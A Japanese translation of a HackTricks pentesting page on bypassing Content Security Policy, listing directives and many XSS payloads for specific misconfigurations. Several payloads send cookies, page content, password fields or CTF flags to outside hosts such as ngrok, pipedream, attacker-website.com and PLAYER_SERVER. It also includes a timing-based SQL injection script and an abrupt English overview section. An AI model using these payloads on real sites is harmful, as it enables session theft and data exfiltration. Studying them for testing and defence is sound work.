hacktricks/pentesting-web/content-security-policy-csp-bypass
2024-02-09 08:23:12 +00:00
..
csp-bypass-self-+-unsafe-inline-with-iframes.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:23:12 +00:00
README.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:23:12 +00:00

Content Security Policy (CSP) バイパス

htARTEHackTricks AWS Red Team Expert でAWSハッキングをゼロからヒーローまで学ぶ

HackTricks をサポートする他の方法:

経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために HackenProof Discord サーバーに参加しましょう!

ハッキングの洞察
ハッキングのスリルと挑戦に深く入り込むコンテンツに参加する

リアルタイムハックニュース
リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースについていく

最新の発表
最新のバグバウンティの開始や重要なプラットフォームの更新について情報を得る

**Discord に参加して、今日からトップハッカーと協力を始めましょう!

CSPとは

Content Security PolicyCSPは、主に クロスサイトスクリプティングXSSなどの攻撃から保護することを目的としたブラウザ技術として認識されています。これは、ブラウザが安全に読み込むリソースのパスとソースを定義して詳細に説明することによって機能します。これらのリソースには、画像、フレーム、JavaScriptなどの要素が含まれます。たとえば、ポリシーは、同じドメインselfからのリソースの読み込みと実行を許可し、インラインリソースや evalsetTimeoutsetIntervalなどの関数を介して文字列コードの実行を許可する可能性があります。

CSPの実装は、レスポンスヘッダーを介してまたは HTMLページにメタ要素を組み込むことによって行われます。このポリシーに従うと、ブラウザはこれらの規定を積極的に強制し、検出された違反を即座にブロックします。

  • レスポンスヘッダーを介して実装されます:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • メタタグを使用して実装されます:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

ヘッダー

これらのヘッダーを使用してCSPを強制したり監視したりできます

  • Content-Security-PolicyCSPを強制します。ブラウザは違反をブロックします。
  • Content-Security-Policy-Report-Only:監視に使用され、違反をブロックせずに報告します。本番環境でのテストに最適です。

リソースの定義

CSPはアクティブおよびパッシブコンテンツの読み込み元を制限し、インラインJavaScriptの実行やeval()の使用などの側面を制御します。例として次のポリシーがあります:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

ディレクティブ

  • script-src: URL、インラインスクリプト、およびイベントハンドラやXSLTスタイルシートによってトリガーされるスクリプトを含む、JavaScriptの特定ソースを許可します。
  • default-src: 特定のフェッチディレクティブが欠落している場合にリソースを取得するためのデフォルトポリシーを設定します。
  • child-src: ウェブワーカーや埋め込みフレームコンテンツに許可されるリソースを指定します。
  • connect-src: fetch、WebSocket、XMLHttpRequestなどのインターフェースを使用してロードできるURLを制限します。
  • frame-src: フレームのURLを制限します。
  • frame-ancestors: 現在のページを埋め込むことができるソースを指定し、<frame><iframe><object><embed><applet>などの要素に適用されます。
  • img-src: 画像の許可されたソースを定義します。
  • font-src: @font-faceを使用してロードされるフォントの有効なソースを指定します。
  • manifest-src: アプリケーションマニフェストファイルの許可されたソースを定義します。
  • media-src: メディアオブジェクトをロードするための許可されたソースを定義します。
  • object-src: <object><embed><applet>要素の許可されたソースを定義します。
  • base-uri: <base>要素を使用してロードするための許可されたURLを指定します。
  • form-action: フォーム送信のための有効なエンドポイントをリストします。
  • plugin-types: ページが呼び出すことができるMIMEタイプを制限します。
  • upgrade-insecure-requests: ブラウザにHTTP URLをHTTPSに書き換えるよう指示します。
  • sandbox: <iframe>のsandbox属性に類似した制限を適用します。
  • report-to: ポリシーが違反された場合にレポートが送信されるグループを指定します。
  • worker-src: Worker、SharedWorker、またはServiceWorkerスクリプトの有効なソースを指定します。
  • prefetch-src: フェッチまたはプリフェッチされるリソースの有効なソースを指定します。
  • navigate-to: ドキュメントがどのような手段でナビゲートできるURLを制限しますa、form、window.location、window.openなど

ソース

  • *: data:blob:filesystem:スキームを除くすべてのURLを許可します。
  • 'self': 同じドメインからの読み込みを許可します。
  • 'data': データスキームを介してリソースをロードすることを許可しますBase64エンコードされた画像
  • 'none': 任意のソースからの読み込みをブロックします。
  • 'unsafe-eval': eval()などの使用を許可しますが、セキュリティ上の理由から推奨されません。
  • 'unsafe-hashes': 特定のインラインイベントハンドラを有効にします。
  • 'unsafe-inline': インラインリソース(インラインの<script><style>など)の使用を許可しますが、セキュリティ上の理由から推奨されません。
  • 'nonce': 暗号的なナンス(一度だけ使用される数値)を使用して特定のインラインスクリプトをホワイトリストに登録します。
  • 'sha256-<hash>': 特定のsha256ハッシュを持つスクリプトをホワイトリストに登録します。
  • 'strict-dynamic': ナンスまたはハッシュによってホワイトリストに登録された場合、任意のソースからスクリプトをロードすることを許可します。
  • 'host': example.comなどの特定のホストを指定します。
  • https:: HTTPSを使用するURLに制限します。
  • blob:: JavaScriptによって作成されたBlob URLからリソースをロードすることを許可します。
  • filesystem:: ファイルシステムからリソースをロードすることを許可します。
  • 'report-sample': 違反レポートに違反コードのサンプルを含めます(デバッグに役立ちます)。
  • 'strict-origin': 'self'と似ていますが、ソースのプロトコルセキュリティレベルがドキュメントと一致することを確認します(セキュアなオリジンからのリソースのみがセキュアなオリジンからリソースをロードできます)。
  • 'strict-origin-when-cross-origin': 同一オリジンのリクエストを行う際には完全なURLを送信しますが、クロスオリジンのリクエストの場合はオリジンのみを送信します。
  • 'unsafe-allow-redirects': 直ちに別のリソースにリダイレクトされるリソースの読み込みを許可します。セキュリティを弱めるため、推奨されません。
Content-Security-Policy: script-src https://google.com 'unsafe-inline';

動作するペイロード:"/><script>alert(1);</script>

Iframesを介したself + 'unsafe-inline'

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

動作するペイロード:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

もし許可されたJSコードがあなたのJSコードでDOM内に新しいスクリプトタグを作成するようにできれば、新しいスクリプトタグは実行を許可されるでしょう。

ワイルドカード (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

動作するペイロード:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

object-srcとdefault-srcの不足

{% hint style="danger" %} この方法はもはや機能していないようです {% endhint %}

Content-Security-Policy: script-src 'self' ;

動作するペイロード:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

ファイルアップロード + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

もしJSファイルをアップロードできるなら、このCSPをバイパスできます:

動作するペイロード:

"/>'><script src="/uploads/picture.png.js"></script>

しかし、サーバーがアップロードされたファイルを検証し、特定の種類のファイルのみをアップロードできるように制限している可能性が非常に高いです。

さらに、サーバーが受け入れる拡張子を使用してファイル内にJSコードをアップロードできたとしても(例: script.png、これだけでは不十分です。なぜなら、Apacheサーバーのような一部のサーバーはファイルのMIMEタイプを拡張子に基づいて選択し、Chromeのようなブラウザは画像であるべきものに含まれるJavascriptコードの実行を拒否するからです。"幸いにも"、間違いがあります。たとえば、CTFから学んだところによると、Apacheは.wave拡張子を認識しないため、audio/*のようなMIMEタイプで提供されません。

ここから、XSSとファイルアップロードを見つけ、誤解された拡張子を見つけることができれば、その拡張子を持つファイルとスクリプトの内容をアップロードしてみることができます。または、サーバーがアップロードされたファイルの正しい形式をチェックしている場合は、ポリグロットを作成することもできます(ここにいくつかのポリグロットの例があります)。

サードパーティエンドポイント + ('unsafe-eval')

{% hint style="warning" %} 以下のペイロードの一部には、unsafe-evalが必要ないものもあります。 {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Angularの脆弱性バージョンを読み込んで任意のJSを実行する:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Angular + windowオブジェクトを返す関数を持つライブラリを使用したペイロード(この投稿をチェック:

{% hint style="info" %} この投稿では、cdn.cloudflare.comまたは他の許可されたJSライブラリリポジトリからすべてのライブラリをロードし、各ライブラリから追加されたすべての関数を実行し、どのライブラリのどの関数がwindowオブジェクトを返すかを確認できることが示されています。 {% endhint %}

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Google reCAPTCHA JSコードの悪用

このCTF解説によると、CSP内でhttps://www.google.com/recaptcha/を悪用して、CSPをバイパスして任意のJSコードを実行できる可能性があります。

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

サードパーティのエンドポイント + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

以下のようなシナリオでは、script-srcself と特定のホワイトリストに登録されたドメインに設定されている場合、JSONP を使用してバイパスすることができます。JSONP エンドポイントは安全でないコールバックメソッドを許可するため、攻撃者はXSSを実行することができます。有効なペイロード:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee には、さまざまなウェブサイトのCSPバイパス用に使用できるJSONPエンドポイントが含まれています。

同じ脆弱性が発生する可能性があります信頼されたエンドポイントにオープンリダイレクトが含まれている場合、初期エンドポイントが信頼されている場合、リダイレクトも信頼されます。

サードパーティの悪用

次の投稿で説明されているように、CSPのどこかで許可されている可能性がある多くのサードパーティドメインは、データの外部流出やJavaScriptコードの実行など、悪用される可能性があります。これらのサードパーティの一部は次のとおりです

エンティティ 許可されたドメイン 機能
Facebook www.facebook.com, *.facebook.com 外部流出
Hotjar *.hotjar.com, ask.hotjar.io 外部流出
Jsdelivr *.jsdelivr.com, cdn.jsdelivr.net 実行
Amazon CloudFront *.cloudfront.net 外部流出、実行
Amazon AWS *.amazonaws.com 外部流出、実行
Azure Websites *.azurewebsites.net, *.azurestaticapps.net 外部流出、実行
Salesforce Heroku *.herokuapp.com 外部流出、実行
Google Firebase *.firebaseapp.com 外部流出、実行

ターゲットのCSPで許可されたドメインのいずれかを見つけた場合、そのサードパーティサービスに登録して、データを外部サービスに外部流出させるか、コードを実行することができる可能性があります。

たとえば、次のCSPを見つけた場合

Content-Security-Policy: default-src 'self www.facebook.com;

Content Security Policy (CSP) Bypass

Overview

In some scenarios, it may be possible to bypass Content Security Policy (CSP) restrictions to execute unauthorized scripts on a web application. This can be achieved through various techniques such as using inline scripts, dynamic script injection, or exploiting misconfigurations in the CSP headers.

Techniques

Inline Scripts

By injecting malicious code directly into HTML elements or attributes, it is possible to execute scripts bypassing CSP restrictions that prohibit inline scripts.

Dynamic Script Injection

Utilizing JavaScript to dynamically create and execute scripts can help bypass CSP restrictions that block static script URLs.

CSP Header Misconfigurations

Exploiting misconfigurations in the CSP headers, such as allowing unsafe-eval or unsafe-inline, can also lead to bypassing CSP restrictions and executing unauthorized scripts.

Mitigation

To prevent CSP bypasses, ensure that the CSP policy is correctly configured to disallow unsafe practices like inline scripts, eval functions, or overly permissive directives. Regularly review and update the CSP policy to maintain a strong security posture against such attacks.

Content-Security-Policy: connect-src www.facebook.com;
  1. Google Analytics/Google Tag Managerのように、データを外部に送信することができるはずです。この場合、次の一般的な手順に従います:

  2. こちらでFacebook Developerアカウントを作成します。

  3. 新しい「Facebook Login」アプリを作成し、「Website」を選択します。

  4. 「Settings -> Basic」に移動し、「App ID」を取得します。

  5. データを外部に送信したい対象サイトでは、Facebook SDKのガジェット「fbq」を直接使用して、「customEvent」とデータペイロードを介してデータを外部に送信できます。

  6. アプリの「Event Manager」に移動し、作成したアプリケーションを選択しますイベントマネージャーは、次のようなURLで見つけることができますhttps://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events

  7. 「Test Events」タブを選択して、「あなたの」ウェブサイトから送信されるイベントを確認します。

その後、被害者側で、以下のコードを実行してFacebookのトラッキングピクセルを初期化し、攻撃者のFacebook Developerアカウントのapp-idを指すようにし、次のようにカスタムイベントを発行します

fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});

前のテーブルで指定された他の7つのサードパーティドメインに関しては、それらを悪用する方法が他にもたくさんあります。他のサードパーティの悪用に関する追加の説明については、以前のブログ投稿を参照してください。

RPORelative Path Overwriteを介したバイパス

パス制限をバイパスするための前述のリダイレクトに加えて、一部のサーバーで使用できる別のテクニックであるRelative Path OverwriteRPOがあります。

たとえば、CSPがパスhttps://example.com/scripts/react/を許可している場合、次のようにバイパスできます:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

ブラウザは最終的に https://example.com/scripts/angular/angular.js を読み込みます。

これは、ブラウザにとって、https://example.com/scripts/react/ の下にある ..%2fangular%2fangular.js という名前のファイルを読み込んでいるため、CSPに準拠しています。

したがって、それらはそれをデコードし、https://example.com/scripts/react/../angular/angular.js を要求し、これは https://example.com/scripts/angular/angular.js と同等です。

ブラウザとサーバー間のURL解釈の不一致を悪用することで、パスのルールをバイパスすることができます。

解決策は、サーバーサイドで %2f/ として扱わないようにし、ブラウザとサーバー間の一貫した解釈を確保してこの問題を回避することです。

オンライン例: https://jsbin.com/werevijewa/edit?html,output

Iframes JS実行

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

base-uri が欠落している場合

base-uri ディレクティブが欠落している場合、dangling markup injection を実行するために悪用できます。

さらに、ページがNonceを使用して相対パスでスクリプトを読み込んでいる場合(例:<script src="/js/app.js">)、base tag を悪用して、自分のサーバーからスクリプトを読み込ませることでXSSを達成することができます。
脆弱なページがhttpSで読み込まれている場合は、baseにhttpSのURLを使用してください。

<base href="https://www.attacker.com/">

AngularJS イベント

特定のポリシーであるContent Security Policy (CSP) はJavaScriptイベントを制限する場合があります。しかし、AngularJS は代替としてカスタムイベントを導入しています。イベント内で、AngularJS はネイティブブラウザイベントオブジェクトを参照するユニークなオブジェクト $event を提供します。この $event オブジェクトはCSP を回避するために悪用される可能性があります。特に、Chrome では $event/event オブジェクトには、イベントの実行チェーンに関連するオブジェクト配列を保持する path 属性があり、その最後には常に window オブジェクトが配置されています。この構造はサンドボックス脱出戦術にとって重要です。

この配列を orderBy フィルタに向けることで、その配列を反復処理し、末端要素(window オブジェクト)を利用して alert() のようなグローバル関数をトリガーすることが可能です。以下に示すコードスニペットは、このプロセスを説明しています:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

このスニペットは、ng-focusディレクティブの使用を強調し、$event.path|orderByを使用してpath配列を操作し、windowオブジェクトを活用してalert()関数を実行し、それによってdocument.cookieを明らかにします。

他のAngularバイパスを見つける https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJSとホワイトリストされたドメイン

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

CSPバイパス

Angular JSアプリケーションでスクリプトの読み込みのためにドメインをホワイトリストに登録するCSPポリシーは、コールバック関数の呼び出しと特定の脆弱なクラスを介してバイパスすることができます。このテクニックの詳細については、このgitリポジトリで利用可能な詳細ガイドを参照してください。

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

他のJSONP任意実行エンドポイントはこちらで見つけることができます(一部は削除されたり修正されたりしました)

リダイレクトを介したバイパス

CSPがサーバーサイドのリダイレクトに遭遇した場合、どうなるでしょうか リダイレクトが許可されていない異なるオリジンにつながる場合、それは失敗します。

ただし、CSP仕様4.2.2.3. パスとリダイレクトの説明によると、リダイレクトが異なるパスにつながる場合、元の制限をバイパスできます。

以下に例を示します:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

CSPがhttps://www.google.com/a/b/c/dに設定されている場合、パスが考慮されるため、/test/a/testのスクリプトはCSPによってブロックされます。

ただし、最終的なhttp://localhost:5555/301サーバーサイドでhttps://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//にリダイレクトされます。これはリダイレクトなので、パスは考慮されず、スクリプトがロードされるため、パス制限をバイパスできます。

このリダイレクトにより、パスが完全に指定されていてもバイパスされます。

したがって、最良の解決策は、ウェブサイトにオープンリダイレクトの脆弱性がないことを確認し、CSPルールで悪用できるドメインがないことを確認することです。

ダングリングマークアップを使用してCSPをバイパス

こちらで詳細を読む.

'unsafe-inline'; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' は、コード内で任意のスクリプトを実行できることを意味しXSS がコードを実行できる)、img-src * は、任意のリソースからの画像をウェブページで使用できることを意味します。

この CSP は、画像を介してデータを外部に持ち出すことでバイパスできますこの場合、XSS が CSRF を悪用し、ボットがアクセス可能なページに SQLi が含まれ、画像を介してフラグを抽出します):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

この構成を悪用して、画像内に挿入されたJavaScriptコードを読み込むこともできます。たとえば、ページがTwitterから画像を読み込むことを許可している場合、特別な画像を作成し、Twitterにアップロードして、"unsafe-inline"を悪用してJSコード通常のXSSとしてを実行し、画像を読み込み、そこからJSを抽出して実行することができます:https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Service Workersを使用する

Service Workersの**importScripts**関数はCSPに制限されません

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

ポリシーインジェクション

調査: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

あなたが送信したパラメータポリシーの宣言内部に貼り付けられている場合、ポリシー無効にする方法でポリシーを変更できます。これらのバイパスのいずれかを使用して、スクリプトを'unsafe-inline'に許可することができます:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

このディレクティブは既存のscript-srcディレクティブを上書きします。
例はこちらで見つけることができます: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

Edgeでは、CSPにこれだけ追加できれば**;_Edgeポリシー全体を無効に**します。
例: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; XSS経由での攻撃 (iframe) - タイムアタック

ディレクティブ'unsafe-inline'が欠けていることに注意してください。
今回は、被害者にあなたの制御下のページXSS経由で読み込ませることができます。この時、被害者に情報を取得したいページにアクセスさせます(CSRF)。ページの内容にアクセスすることはできませんが、ページの読み込みにかかる時間を制御できれば必要な情報を抽出できます。

今回は、フラグが抽出されます。charが正しく推測されるたびにSQLi経由で応答スリープ関数があるため時間がかかります。その後、フラグを抽出できます:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

ブックマークレット経由

この攻撃は、攻撃者がユーザーを説得して、ブラウザのブックマークレット上にリンクをドラッグアンドドロップさせることを含みます。このブックマークレットには、悪意のあるJavaScriptコードが含まれており、ドラッグドロップまたはクリックされると、現在のWebウィンドウのコンテキストで実行され、CSPをバイパスしてクッキーやトークンなどの機密情報を盗み出すことができます。

詳細はこちらのオリジナルレポートをご覧ください

CSP制限によるCSPバイパス

このCTF解説では、許可されたiframe内により制限の厳しいCSPを注入することでCSPがバイパスされ、特定のJSファイルの読み込みを禁止するCSPが設定され、その後、プロトタイプ汚染またはDOMクロブリングを介して、異なるスクリプトを悪用して任意のスクリプトを読み込むことが可能になりました。

IframeのCSPを**csp属性で制限**することができます:

{% code overflow="wrap" %}

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

{% endcode %}

このCTFの解説 では、HTMLインジェクションを通じて、CSPをより制限することが可能であり、CSTIを防ぐスクリプトが無効化され、その結果、脆弱性が悪用可能になりました。
CSPはHTMLメタタグを使用してより制限的に設定でき、インラインスクリプトはエントリを削除することで無効化でき、その後、nonceを許可し、shaを使用して特定のインラインスクリプトを有効にできます。

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

Content-Security-Policy-Report-Onlyを使用したJSデータの外部流出

サーバーがヘッダー**Content-Security-Policy-Report-Onlyあなたが制御する値で応答するようにできればCRLFのためかもしれません、それをあなたのサーバーを指すようにさせることができます。そして、外部流出したいJSコンテンツ<script>**でラップし、CSPでunsafe-inlineが許可されていない可能性が非常に高いため、これはCSPエラーをトリガーし、機密情報を含むスクリプトの一部がContent-Security-Policy-Report-Onlyからサーバーに送信されます。

例として、このCTF解説を参照してください。

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

CSPとIframeを使用した情報漏洩

  • CSPに許可されているURLhttps://example.redirect.comと呼びましょう)を指すiframeが作成されます。
  • このURLは、CSPによって許可されていない秘密のURLhttps://usersecret.example2.com)にリダイレクトします。
  • securitypolicyviolation イベントを監視することで、blockedURI プロパティをキャプチャできます。このプロパティは、ブロックされたURIのドメインを明らかにし、初期のURLがリダイレクトされた秘密のドメインを漏洩させます。

興味深いのは、ChromeやFirefoxなどのブラウザが、CSPに関連してiframeを処理する際に異なる挙動を示すことで、未定義の挙動による機密情報の漏洩が起こる可能性がある点です。

別のテクニックには、CSP自体を悪用して秘密のサブドメインを推測する方法があります。この方法は、バイナリサーチアルゴリズムに依存し、CSPを調整して故意にブロックされた特定のドメインを含めることによって、秘密のサブドメインを推測します。たとえば、秘密のサブドメインが未知の文字で構成されている場合、CSPディレクティブを変更してこれらのサブドメインをブロックまたは許可するように調整し、異なるサブドメインを反復的にテストできます。以下は、この方法を容易にするためにCSPを設定する方法を示すスニペットです

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

CSP によってブロックまたは許可されるリクエストを監視することで、秘密のサブドメイン内の可能な文字を絞り込み、最終的に完全な URL を明らかにすることができます。

両方の方法は、ブラウザでの CSP の実装と動作の微妙な点を悪用し、見かけ上安全なポリシーが機密情報を意図せずに漏洩させる方法を示しています。

こちらからのトリック。

経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために HackenProof Discord サーバーに参加してください!

ハッキングの洞察
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加

リアルタイムハックニュース
リアルタイムのニュースと洞察を通じて、ハッキングの世界のペースを維持

最新の発表
最新のバグバウンティの開始や重要なプラットフォームの更新に関する情報を入手

Discord で私たちに参加し、今日からトップハッカーと協力を始めましょう!

CSP をバイパスするための安全でないテクノロジー

PHP レスポンスバッファの過負荷

PHP はデフォルトでレスポンスを 4096 バイトまでバッファリングすることで知られています。そのため、PHP が警告を表示している場合、警告内に十分なデータを提供することでレスポンスCSP ヘッダー前に送信され、ヘッダーが無視されるようになります。
その後、この技術は基本的に、警告でレスポンスバッファを埋めることによって、CSP ヘッダーが送信されないようにするというものです。

この解説からのアイデア。

エラーページの書き換え

この解説 から見ると、エラーページ(おそらく CSP なしでを読み込んでそのコンテンツを書き換えることで、CSP 保護をバイパスすることが可能だったようです。

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOMEは、ページのエンドポイントでのXSSまたは非常に制限されたXSSを悪用して、同じオリジンの他のエンドポイントを悪用する技術です。これは、攻撃者のページから脆弱なエンドポイントを読み込み、その後攻撃者のページをリフレッシュして、悪用したい同じオリジンの実際のエンドポイントに移動することで行われます。この方法により、脆弱なエンドポイントは**openerオブジェクトをペイロード**で使用して、悪用する実際のエンドポイントのDOMにアクセスできます。詳細については、次を参照してください:

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

さらに、WordPressには、/wp-json/wp/v2/users/1?_jsonp=dataにあるJSONPエンドポイントがあり、出力に送信されたデータ反映します(文字、数字、ドットのみの制限付き)。

